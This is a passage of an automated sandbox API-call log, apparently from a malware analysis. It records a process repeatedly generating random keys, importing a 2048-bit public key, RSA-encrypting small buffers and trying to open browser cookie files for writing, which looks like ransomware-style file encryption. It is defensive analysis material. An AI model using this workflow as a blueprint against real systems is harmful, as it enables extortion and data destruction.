1 [0175.566] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.566] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.568] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655758) returned 1 [0175.568] CryptGetKeyParam (in: hKey=0x3655758, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.568] CryptEncrypt (in: hKey=0x3655758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.568] GetLastError () returned 0x0 [0175.568] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.568] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.570] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655658) returned 1 [0175.570] CryptGetKeyParam (in: hKey=0x3655658, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.570] CryptEncrypt (in: hKey=0x3655658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4b90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.570] GetLastError () returned 0x0 [0175.570] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.571] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RYK7X1K4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ryk7x1k4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.571] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.572] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.572] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.572] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.572] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.574] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.574] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.574] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.584] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655798) returned 1 [0175.584] CryptGetKeyParam (in: hKey=0x3655798, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.584] CryptEncrypt (in: hKey=0x3655798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ba0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4ba0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.585] GetLastError () returned 0x0 [0175.585] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655b58) returned 1 [0175.587] CryptGetKeyParam (in: hKey=0x3655b58, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.587] CryptEncrypt (in: hKey=0x3655b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4bb0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4bb0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.587] GetLastError () returned 0x0 [0175.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\S0EK69P5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\s0ek69p5.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.587] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.589] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.589] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.589] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.592] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.592] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.594] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655c18) returned 1 [0175.594] CryptGetKeyParam (in: hKey=0x3655c18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.594] CryptEncrypt (in: hKey=0x3655c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4bc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4bc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.595] GetLastError () returned 0x0 [0175.595] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.595] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.597] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655bd8) returned 1 [0175.597] CryptGetKeyParam (in: hKey=0x3655bd8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.597] CryptEncrypt (in: hKey=0x3655bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4bd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4bd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.597] GetLastError () returned 0x0 [0175.597] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.597] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\SEVCUJM3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\sevcujm3.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.597] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.599] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.599] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.599] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.601] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.601] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.601] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.603] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36557d8) returned 1 [0175.603] CryptGetKeyParam (in: hKey=0x36557d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.603] CryptEncrypt (in: hKey=0x36557d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4be0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4be0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.603] GetLastError () returned 0x0 [0175.603] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.603] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.605] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655c58) returned 1 [0175.605] CryptGetKeyParam (in: hKey=0x3655c58, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.605] CryptEncrypt (in: hKey=0x3655c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4bf0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4bf0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.606] GetLastError () returned 0x0 [0175.606] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.606] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\STGOZ493.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\stgoz493.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.606] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.608] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.608] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.608] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.610] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.610] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.610] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.612] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655c98) returned 1 [0175.612] CryptGetKeyParam (in: hKey=0x3655c98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.612] CryptEncrypt (in: hKey=0x3655c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4c00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.613] GetLastError () returned 0x0 [0175.613] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.613] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.615] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36555d8) returned 1 [0175.615] CryptGetKeyParam (in: hKey=0x36555d8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.615] CryptEncrypt (in: hKey=0x36555d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.615] GetLastError () returned 0x0 [0175.615] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.615] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\T1LCPPSA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\t1lcppsa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.615] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.617] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.617] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.617] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.618] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.618] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.619] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.621] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655cd8) returned 1 [0175.621] CryptGetKeyParam (in: hKey=0x3655cd8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.621] CryptEncrypt (in: hKey=0x3655cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4c20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.621] GetLastError () returned 0x0 [0175.621] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.621] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.623] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655698) returned 1 [0175.623] CryptGetKeyParam (in: hKey=0x3655698, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.623] CryptEncrypt (in: hKey=0x3655698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.623] GetLastError () returned 0x0 [0175.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.623] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TCXQPY9L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tcxqpy9l.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.624] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.625] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.625] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.625] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.627] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.627] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.627] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.629] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655a18) returned 1 [0175.629] CryptGetKeyParam (in: hKey=0x3655a18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.629] CryptEncrypt (in: hKey=0x3655a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4c40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.629] GetLastError () returned 0x0 [0175.629] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.629] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.631] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655818) returned 1 [0175.631] CryptGetKeyParam (in: hKey=0x3655818, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.631] CryptEncrypt (in: hKey=0x3655818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4c50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.631] GetLastError () returned 0x0 [0175.631] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.631] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TEW946CI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tew946ci.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.631] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.633] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.633] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.635] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.635] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.635] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.637] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655618) returned 1 [0175.637] CryptGetKeyParam (in: hKey=0x3655618, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.637] CryptEncrypt (in: hKey=0x3655618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4c60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4c60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.637] GetLastError () returned 0x0 [0175.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 